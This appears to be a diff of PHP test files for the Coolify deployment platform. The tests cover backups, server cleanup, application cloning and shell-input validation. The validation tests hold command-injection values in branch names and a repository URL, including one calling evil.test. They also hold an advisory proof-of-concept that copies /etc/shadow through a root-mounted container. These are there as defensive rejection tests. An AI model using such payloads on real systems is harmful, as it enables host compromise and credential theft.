test('markStaleExecutionsAsFailed marks stale running executions as failed', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => false,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
'timeout' => 3600,
|
||||
]);
|
||||
|
||||
// Create a stale execution (3 hours old, timeout is 1h, threshold is 2h)
|
||||
$staleExecution = ScheduledDatabaseBackupExecution::create([
|
||||
'uuid' => 'stale-exec-uuid',
|
||||
'database_name' => 'test_db',
|
||||
'scheduled_database_backup_id' => $backup->id,
|
||||
'status' => 'running',
|
||||
]);
|
||||
ScheduledDatabaseBackupExecution::where('id', $staleExecution->id)
|
||||
->update(['created_at' => now()->subHours(3)]);
|
||||
|
||||
// Call the private method via reflection
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
$reflection = new ReflectionClass($job);
|
||||
$method = $reflection->getMethod('markStaleExecutionsAsFailed');
|
||||
$method->invoke($job);
|
||||
|
||||
$staleExecution->refresh();
|
||||
expect($staleExecution->status)->toBe('failed');
|
||||
expect($staleExecution->message)->toContain('exceeded maximum allowed time');
|
||||
expect($staleExecution->finished_at)->not->toBeNull();
|
||||
});
|
||||
|
||||
test('markStaleExecutionsAsFailed does not mark recent running executions as failed', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => false,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
'timeout' => 3600,
|
||||
]);
|
||||
|
||||
// Create a recent execution (30 minutes old, threshold is 2 hours)
|
||||
$recentExecution = ScheduledDatabaseBackupExecution::create([
|
||||
'uuid' => 'recent-exec-uuid',
|
||||
'database_name' => 'test_db',
|
||||
'scheduled_database_backup_id' => $backup->id,
|
||||
'status' => 'running',
|
||||
]);
|
||||
ScheduledDatabaseBackupExecution::where('id', $recentExecution->id)
|
||||
->update(['created_at' => now()->subMinutes(30)]);
|
||||
|
||||
$job = new DatabaseBackupJob($backup);
|
||||
$reflection = new ReflectionClass($job);
|
||||
$method = $reflection->getMethod('markStaleExecutionsAsFailed');
|
||||
$method->invoke($job);
|
||||
|
||||
$recentExecution->refresh();
|
||||
expect($recentExecution->status)->toBe('running');
|
||||
expect($recentExecution->finished_at)->toBeNull();
|
||||
});
|
||||
|
||||
// --- Decimal cast on ScheduledDatabaseBackup model ---
|
||||
|
||||
test('scheduled database backup model casts max storage fields to float', function () {
|
||||
$model = new ScheduledDatabaseBackup;
|
||||
$casts = $model->getCasts();
|
||||
|
||||
expect($casts)->toHaveKey('database_backup_retention_max_storage_locally');
|
||||
expect($casts['database_backup_retention_max_storage_locally'])->toBe('float');
|
||||
expect($casts)->toHaveKey('database_backup_retention_max_storage_s3');
|
||||
expect($casts['database_backup_retention_max_storage_s3'])->toBe('float');
|
||||
});
|
||||
|
||||
test('max storage retention field returns float zero that passes strict comparison', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => false,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
'database_backup_retention_max_storage_locally' => 0,
|
||||
]);
|
||||
|
||||
$backup->refresh();
|
||||
|
||||
// With the float cast, strict comparison to 0.0 works
|
||||
expect($backup->database_backup_retention_max_storage_locally)->toBe(0.0);
|
||||
// And loose comparison to int 0 also works
|
||||
expect($backup->database_backup_retention_max_storage_locally == 0)->toBeTrue();
|
||||
});
|
||||
|
||||
// --- Periodic retention enforcement in CleanupInstanceStuffsJob ---
|
||||
|
||||
test('cleanup instance stuffs job calls retention enforcement without errors', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => false,
|
||||
'enabled' => true,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
'database_backup_retention_amount_locally' => 1,
|
||||
]);
|
||||
|
||||
// Create 3 successful executions
|
||||
foreach (range(1, 3) as $i) {
|
||||
ScheduledDatabaseBackupExecution::create([
|
||||
'uuid' => "exec-uuid-{$i}",
|
||||
'database_name' => 'test_db',
|
||||
'filename' => "/backup/test_{$i}.dmp",
|
||||
'scheduled_database_backup_id' => $backup->id,
|
||||
'status' => 'success',
|
||||
'size' => 1024,
|
||||
'local_storage_deleted' => false,
|
||||
'created_at' => now()->subDays($i),
|
||||
]);
|
||||
}
|
||||
|
||||
Cache::forget('backup-retention-enforcement');
|
||||
|
||||
// Should not throw — the job gracefully handles missing servers
|
||||
$job = new CleanupInstanceStuffsJob;
|
||||
$job->handle();
|
||||
|
||||
// All 3 executions should still exist (no server to delete files from)
|
||||
expect($backup->executions()->count())->toBe(3);
|
||||
});
|
||||
|
||||
test('deleteOldBackupsLocally identifies correct backups for deletion by retention count', function () {
|
||||
$team = Team::factory()->create();
|
||||
|
||||
$backup = ScheduledDatabaseBackup::create([
|
||||
'frequency' => '0 0 * * *',
|
||||
'save_s3' => false,
|
||||
'enabled' => true,
|
||||
'database_type' => 'App\Models\StandalonePostgresql',
|
||||
'database_id' => 1,
|
||||
'team_id' => $team->id,
|
||||
'database_backup_retention_amount_locally' => 1,
|
||||
]);
|
||||
|
||||
foreach (range(1, 3) as $i) {
|
||||
$exec = ScheduledDatabaseBackupExecution::create([
|
||||
'uuid' => "exec-uuid-{$i}",
|
||||
'database_name' => 'test_db',
|
||||
'filename' => "/backup/test_{$i}.dmp",
|
||||
'scheduled_database_backup_id' => $backup->id,
|
||||
'status' => 'success',
|
||||
'size' => 1024,
|
||||
'local_storage_deleted' => false,
|
||||
]);
|
||||
ScheduledDatabaseBackupExecution::where('id', $exec->id)
|
||||
->update(['created_at' => now()->subDays($i)]);
|
||||
}
|
||||
|
||||
// Test the selection logic directly
|
||||
$successfulBackups = $backup->executions()
|
||||
->where('status', 'success')
|
||||
->where('local_storage_deleted', false)
|
||||
->orderBy('created_at', 'desc')
|
||||
->get();
|
||||
|
||||
$retentionAmount = $backup->database_backup_retention_amount_locally;
|
||||
$backupsToDelete = $successfulBackups->skip($retentionAmount);
|
||||
|
||||
// exec-uuid-1 is newest (1 day ago), exec-uuid-2 and exec-uuid-3 should be deleted
|
||||
expect($backupsToDelete)->toHaveCount(2);
|
||||
expect($successfulBackups->first()->uuid)->toBe('exec-uuid-1');
|
||||
});
|
||||
|
||||
test('cleanup instance stuffs job throttles retention enforcement via cache', function () {
|
||||
Cache::forget('backup-retention-enforcement');
|
||||
|
||||
$job = new CleanupInstanceStuffsJob;
|
||||
$job->handle();
|
||||
|
||||
// The cache key should now exist
|
||||
expect(Cache::has('backup-retention-enforcement'))->toBeTrue();
|
||||
|
||||
// Running again should skip retention enforcement (cache hit)
|
||||
// We verify by checking the lock is still held — no error thrown
|
||||
$job->handle();
|
||||
|
||||
expect(Cache::has('backup-retention-enforcement'))->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
InstanceSettings::unguarded(function () {
|
||||
InstanceSettings::query()->create([
|
||||
'id' => 0,
|
||||
'is_registration_enabled' => true,
|
||||
]);
|
||||
});
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'name' => 'Pure Dockerfile Example',
|
||||
'status' => 'running',
|
||||
]);
|
||||
});
|
||||
|
||||
it('hides the breadcrumb trail on mobile while keeping the current status visible', function () {
|
||||
$response = $this->get(route('project.application.configuration', [
|
||||
'project_uuid' => $this->project->uuid,
|
||||
'environment_uuid' => $this->environment->uuid,
|
||||
'application_uuid' => $this->application->uuid,
|
||||
]));
|
||||
|
||||
$response->assertSuccessful();
|
||||
$response->assertSee('flex min-w-0 flex-col gap-1 md:hidden', false);
|
||||
$response->assertSee('flex min-w-0 items-center text-xs text-neutral-400', false);
|
||||
$response->assertSee('hidden flex-wrap items-center gap-y-1 md:flex', false);
|
||||
$response->assertSee('flex flex-wrap items-center gap-1', false);
|
||||
$response->assertSee(
|
||||
'scrollbar flex min-h-10 w-full flex-nowrap items-center gap-6 overflow-x-scroll overflow-y-hidden pb-1 whitespace-nowrap md:w-auto md:overflow-visible',
|
||||
false,
|
||||
);
|
||||
$response->assertSee('shrink-0', false);
|
||||
$response->assertSee('Actions');
|
||||
$response->assertSee('dropdown-item-touch', false);
|
||||
$response->assertSee('hidden flex-wrap items-center gap-2 md:flex', false);
|
||||
$response->assertSee('window.innerWidth >= 768', false);
|
||||
$response->assertSee(':style="panelStyles"', false);
|
||||
$response->assertSee('absolute top-full z-50 mt-1 min-w-max max-w-[calc(100vw-1rem)] md:top-0 md:mt-6', false);
|
||||
$response->assertSee('Pure Dockerfile Example');
|
||||
$response->assertSee('Running');
|
||||
$response->assertSee('pt-2 pb-4 md:pb-10', false);
|
||||
|
||||
expect($response->getContent())->not->toContain('hidden pt-2 pb-10 md:flex');
|
||||
});
|
||||
@@ -111,6 +111,29 @@ describe('Buildpack Switching Cleanup', function () {
|
||||
expect($application->dockerfile)->toBeNull();
|
||||
});
|
||||
|
||||
test('clears dockerfile fields when switching from dockerfile to railpack', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'build_pack' => 'dockerfile',
|
||||
'dockerfile' => 'FROM node:18',
|
||||
'dockerfile_location' => '/Dockerfile',
|
||||
'dockerfile_target_build' => 'production',
|
||||
'custom_healthcheck_found' => true,
|
||||
]);
|
||||
|
||||
Livewire::test(General::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->set('buildPack', 'railpack')
|
||||
->call('updatedBuildPack');
|
||||
|
||||
$application->refresh();
|
||||
expect($application->build_pack)->toBe('railpack');
|
||||
expect($application->dockerfile)->toBeNull();
|
||||
expect($application->dockerfile_location)->toBeNull();
|
||||
expect($application->dockerfile_target_build)->toBeNull();
|
||||
expect($application->custom_healthcheck_found)->toBeFalse();
|
||||
});
|
||||
|
||||
test('clears dockerfile fields when switching from dockerfile to dockercompose', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
|
||||
@@ -6,7 +6,30 @@ use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('cleans up servers with unreachable_count >= 3 after 7 days', function () {
|
||||
it('disables (non-destructively) self-hosted servers with unreachable_count >= 3 after 7 days', function () {
|
||||
config(['constants.coolify.self_hosted' => true]);
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'unreachable_count' => 50,
|
||||
'unreachable_notification_sent' => true,
|
||||
'updated_at' => now()->subDays(8),
|
||||
]);
|
||||
|
||||
$originalIp = (string) $server->ip;
|
||||
|
||||
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
|
||||
|
||||
$server->refresh();
|
||||
// IP must be preserved — never overwritten on self-hosted.
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
expect($server->settings->force_disabled)->toBeTrue();
|
||||
});
|
||||
|
||||
it('overwrites the IP with 1.2.3.4 on cloud for servers with unreachable_count >= 3 after 7 days', function () {
|
||||
config(['constants.coolify.self_hosted' => false]);
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
@@ -30,12 +53,13 @@ it('does not clean up servers with unreachable_count less than 3', function () {
|
||||
'updated_at' => now()->subDays(8),
|
||||
]);
|
||||
|
||||
$originalIp = $server->ip;
|
||||
$originalIp = (string) $server->ip;
|
||||
|
||||
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
expect($server->settings->force_disabled)->toBeFalse();
|
||||
});
|
||||
|
||||
it('does not clean up servers updated within 7 days', function () {
|
||||
@@ -47,12 +71,13 @@ it('does not clean up servers updated within 7 days', function () {
|
||||
'updated_at' => now()->subDays(3),
|
||||
]);
|
||||
|
||||
$originalIp = $server->ip;
|
||||
$originalIp = (string) $server->ip;
|
||||
|
||||
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
expect($server->settings->force_disabled)->toBeFalse();
|
||||
});
|
||||
|
||||
it('does not clean up servers without notification sent', function () {
|
||||
@@ -64,10 +89,11 @@ it('does not clean up servers without notification sent', function () {
|
||||
'updated_at' => now()->subDays(8),
|
||||
]);
|
||||
|
||||
$originalIp = $server->ip;
|
||||
$originalIp = (string) $server->ip;
|
||||
|
||||
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe($originalIp);
|
||||
expect($server->settings->force_disabled)->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,78 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\Subscription;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
it('sets unreachable fields on servers when subscription ends', function () {
|
||||
$team = Team::factory()->create();
|
||||
Subscription::create([
|
||||
'team_id' => $team->id,
|
||||
'stripe_invoice_paid' => true,
|
||||
]);
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'unreachable_count' => 0,
|
||||
'unreachable_notification_sent' => false,
|
||||
]);
|
||||
|
||||
$team->subscriptionEnded();
|
||||
|
||||
$server->refresh();
|
||||
expect($server->unreachable_count)->toBe(3);
|
||||
expect($server->unreachable_notification_sent)->toBeTrue();
|
||||
});
|
||||
|
||||
it('cleans up unsubscribed server IP after 7 days via cleanup command', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'unreachable_count' => 3,
|
||||
'unreachable_notification_sent' => true,
|
||||
'updated_at' => now()->subDays(8),
|
||||
]);
|
||||
|
||||
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
|
||||
|
||||
$server->refresh();
|
||||
expect($server->ip)->toBe('1.2.3.4');
|
||||
});
|
||||
|
||||
it('does not clean up unsubscribed server IP within 7 day grace period', function () {
|
||||
$team = Team::factory()->create();
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'unreachable_count' => 3,
|
||||
'unreachable_notification_sent' => true,
|
||||
'updated_at' => now()->subDays(3),
|
||||
]);
|
||||
|
||||
$originalIp = (string) $server->ip;
|
||||
|
||||
$this->artisan('cleanup:unreachable-servers')->assertSuccessful();
|
||||
|
||||
$server->refresh();
|
||||
expect((string) $server->ip)->toBe($originalIp);
|
||||
});
|
||||
|
||||
it('does not affect servers with active subscriptions', function () {
|
||||
$team = Team::factory()->create();
|
||||
Subscription::create([
|
||||
'team_id' => $team->id,
|
||||
'stripe_invoice_paid' => true,
|
||||
]);
|
||||
$server = Server::factory()->create([
|
||||
'team_id' => $team->id,
|
||||
'unreachable_count' => 0,
|
||||
'unreachable_notification_sent' => false,
|
||||
]);
|
||||
|
||||
$originalCount = $server->unreachable_count;
|
||||
$originalNotification = $server->unreachable_notification_sent;
|
||||
|
||||
expect($originalCount)->toBe(0);
|
||||
expect($originalNotification)->toBeFalse();
|
||||
});
|
||||
@@ -0,0 +1,160 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationPreview;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\Environment;
|
||||
use App\Models\LocalPersistentVolume;
|
||||
use App\Models\Project;
|
||||
use App\Models\ScheduledTask;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = $this->server->standaloneDockers()->firstOrFail();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'redirect' => 'both',
|
||||
]);
|
||||
|
||||
$this->application->settings->fill([
|
||||
'is_container_label_readonly_enabled' => false,
|
||||
])->save();
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
test('cloning application generates new uuid for persistent volumes', function () {
|
||||
$volume = LocalPersistentVolume::create([
|
||||
'name' => $this->application->uuid.'-data',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $this->application->id,
|
||||
'resource_type' => $this->application->getMorphClass(),
|
||||
]);
|
||||
|
||||
$originalUuid = $volume->uuid;
|
||||
|
||||
$newApp = clone_application($this->application, $this->destination, [
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$clonedVolume = $newApp->persistentStorages()->first();
|
||||
|
||||
expect($clonedVolume)->not->toBeNull();
|
||||
expect($clonedVolume->uuid)->not->toBe($originalUuid);
|
||||
expect($clonedVolume->mount_path)->toBe('/data');
|
||||
});
|
||||
|
||||
test('cloning application with multiple persistent volumes generates unique uuids', function () {
|
||||
$volume1 = LocalPersistentVolume::create([
|
||||
'name' => $this->application->uuid.'-data',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $this->application->id,
|
||||
'resource_type' => $this->application->getMorphClass(),
|
||||
]);
|
||||
|
||||
$volume2 = LocalPersistentVolume::create([
|
||||
'name' => $this->application->uuid.'-config',
|
||||
'mount_path' => '/config',
|
||||
'resource_id' => $this->application->id,
|
||||
'resource_type' => $this->application->getMorphClass(),
|
||||
]);
|
||||
|
||||
$newApp = clone_application($this->application, $this->destination, [
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$clonedVolumes = $newApp->persistentStorages()->get();
|
||||
|
||||
expect($clonedVolumes)->toHaveCount(2);
|
||||
|
||||
$clonedUuids = $clonedVolumes->pluck('uuid')->toArray();
|
||||
$originalUuids = [$volume1->uuid, $volume2->uuid];
|
||||
|
||||
// All cloned UUIDs should be unique and different from originals
|
||||
expect($clonedUuids)->each->not->toBeIn($originalUuids);
|
||||
expect(array_unique($clonedUuids))->toHaveCount(2);
|
||||
});
|
||||
|
||||
test('cloning application reassigns settings to the cloned application', function () {
|
||||
$this->application->settings->fill([
|
||||
'is_static' => true,
|
||||
'is_spa' => true,
|
||||
'is_build_server_enabled' => true,
|
||||
])->save();
|
||||
|
||||
$newApp = clone_application($this->application, $this->destination, [
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$sourceSettingsCount = ApplicationSetting::query()
|
||||
->where('application_id', $this->application->id)
|
||||
->count();
|
||||
$clonedSettings = ApplicationSetting::query()
|
||||
->where('application_id', $newApp->id)
|
||||
->first();
|
||||
|
||||
expect($sourceSettingsCount)->toBe(1)
|
||||
->and($clonedSettings)->not->toBeNull()
|
||||
->and($clonedSettings?->application_id)->toBe($newApp->id)
|
||||
->and($clonedSettings?->is_static)->toBeTrue()
|
||||
->and($clonedSettings?->is_spa)->toBeTrue()
|
||||
->and($clonedSettings?->is_build_server_enabled)->toBeTrue();
|
||||
});
|
||||
|
||||
test('cloning application reassigns scheduled tasks and previews to the cloned application', function () {
|
||||
$scheduledTask = ScheduledTask::create([
|
||||
'uuid' => 'scheduled-task-original',
|
||||
'application_id' => $this->application->id,
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'nightly-task',
|
||||
'command' => 'php artisan schedule:run',
|
||||
'frequency' => '* * * * *',
|
||||
'container' => 'app',
|
||||
'timeout' => 120,
|
||||
]);
|
||||
|
||||
$preview = ApplicationPreview::create([
|
||||
'uuid' => 'preview-original',
|
||||
'application_id' => $this->application->id,
|
||||
'pull_request_id' => 123,
|
||||
'pull_request_html_url' => 'https://example.com/pull/123',
|
||||
'fqdn' => 'https://preview.example.com',
|
||||
'status' => 'running',
|
||||
]);
|
||||
|
||||
$newApp = clone_application($this->application, $this->destination, [
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$clonedTask = ScheduledTask::query()
|
||||
->where('application_id', $newApp->id)
|
||||
->first();
|
||||
$clonedPreview = ApplicationPreview::query()
|
||||
->where('application_id', $newApp->id)
|
||||
->first();
|
||||
|
||||
expect($clonedTask)->not->toBeNull()
|
||||
->and($clonedTask?->uuid)->not->toBe($scheduledTask->uuid)
|
||||
->and($clonedTask?->application_id)->toBe($newApp->id)
|
||||
->and($clonedTask?->team_id)->toBe($this->team->id)
|
||||
->and($clonedPreview)->not->toBeNull()
|
||||
->and($clonedPreview?->uuid)->not->toBe($preview->uuid)
|
||||
->and($clonedPreview?->application_id)->toBe($newApp->id)
|
||||
->and($clonedPreview?->status)->toBe('exited');
|
||||
});
|
||||
@@ -1,6 +1,9 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Rules\ValidGitBranch;
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
describe('deployment job path field validation', function () {
|
||||
@@ -127,6 +130,38 @@ describe('deployment job path field validation', function () {
|
||||
});
|
||||
|
||||
describe('API validation rules for path fields', function () {
|
||||
test('git_branch validation rejects shell metacharacters', function (string $branch) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['git_branch' => $branch],
|
||||
['git_branch' => $rules['git_branch']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'backtick command substitution' => 'main`id`',
|
||||
'dollar command substitution' => 'main$(id)',
|
||||
'semicolon command separator' => 'main;id',
|
||||
'ifs shell expansion' => 'main${IFS}id',
|
||||
'space separator' => 'main branch',
|
||||
]);
|
||||
|
||||
test('git_branch validation allows safe branch names', function (string $branch) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['git_branch' => $branch],
|
||||
['git_branch' => $rules['git_branch']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'main',
|
||||
'feature/safe-branch',
|
||||
'release_2026.06',
|
||||
]);
|
||||
|
||||
test('dockerfile_location validation rejects shell metacharacters', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
@@ -183,6 +218,68 @@ describe('API validation rules for path fields', function () {
|
||||
});
|
||||
});
|
||||
|
||||
describe('deployment git command escaping', function () {
|
||||
test('ls-remote command shell-quotes repository and ref arguments', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
foreach ([
|
||||
'customPort' => 22,
|
||||
'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #",
|
||||
] as $property => $value) {
|
||||
$reflectionProperty = $job->getProperty($property);
|
||||
$reflectionProperty->setAccessible(true);
|
||||
$reflectionProperty->setValue($instance, $value);
|
||||
}
|
||||
|
||||
$method = $job->getMethod('gitLsRemoteCommand');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$command = $method->invoke($instance, 'refs/heads/main`id`', '/root/.ssh/id_rsa');
|
||||
|
||||
expect($command)
|
||||
->toContain("git ls-remote 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'")
|
||||
->toContain('-i /root/.ssh/id_rsa')
|
||||
->not->toContain('repo.git; curl');
|
||||
});
|
||||
|
||||
test('coolify branch shell assignment is quoted', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
$application = new Application;
|
||||
$application->uuid = 'app-uuid';
|
||||
$application->git_branch = 'main`id`';
|
||||
$application->fqdn = null;
|
||||
$application->compose_parsing_version = '3';
|
||||
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->include_source_commit_in_build = false;
|
||||
$application->setRelation('settings', $settings);
|
||||
|
||||
foreach ([
|
||||
'application' => $application,
|
||||
'commit' => 'HEAD',
|
||||
'pull_request_id' => 0,
|
||||
] as $property => $value) {
|
||||
$reflectionProperty = $job->getProperty($property);
|
||||
$reflectionProperty->setAccessible(true);
|
||||
$reflectionProperty->setValue($instance, $value);
|
||||
}
|
||||
|
||||
$method = $job->getMethod('set_coolify_variables');
|
||||
$method->setAccessible(true);
|
||||
$method->invoke($instance);
|
||||
|
||||
$coolifyVariables = $job->getProperty('coolify_variables');
|
||||
$coolifyVariables->setAccessible(true);
|
||||
|
||||
expect($coolifyVariables->getValue($instance))
|
||||
->toContain("COOLIFY_BRANCH='main`id`' ")
|
||||
->toContain('COOLIFY_RESOURCE_UUID=app-uuid ');
|
||||
});
|
||||
});
|
||||
|
||||
describe('sharedDataApplications rules survive array_merge in controller', function () {
|
||||
test('docker_compose_location safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
@@ -414,7 +511,7 @@ describe('docker_compose_custom_command validation', function () {
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects single quotes in docker_compose_custom_start_command', function () {
|
||||
test('allows single-quoted arguments in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
@@ -422,7 +519,7 @@ describe('docker_compose_custom_command validation', function () {
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
test('allows double quotes in docker_compose_custom_start_command', function () {
|
||||
@@ -474,6 +571,127 @@ describe('docker_compose_custom_command validation', function () {
|
||||
expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command'))
|
||||
->toBe('docker compose up -d --build');
|
||||
});
|
||||
|
||||
test('rejects bare ampersand PoC payload (GHSA-chg4-63hm-xv9x)', function () {
|
||||
$rules = sharedDataApplications();
|
||||
$payload = 'true & docker run --rm -v /:/h alpine sh -c "cp /h/etc/shadow /h/tmp/leak"';
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => $payload],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects bare ampersand across every shell-safe field', function ($field) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
[$field => 'cmd1 & cmd2'],
|
||||
[$field => $rules[$field]]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with([
|
||||
'install_command',
|
||||
'build_command',
|
||||
'start_command',
|
||||
'docker_compose_custom_build_command',
|
||||
'docker_compose_custom_start_command',
|
||||
'custom_docker_run_options',
|
||||
]);
|
||||
|
||||
test('rejects command substitution inside double quotes', function ($payload) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => "echo $payload"],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with(['"$(whoami)"', '"`whoami`"']);
|
||||
|
||||
test('rejects unbalanced quotes', function ($payload) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => $payload],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
})->with(['echo "unterminated', "echo 'unterminated"]);
|
||||
|
||||
test('rejects backslash anywhere', function ($payload) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['build_command' => $payload],
|
||||
['build_command' => $rules['build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
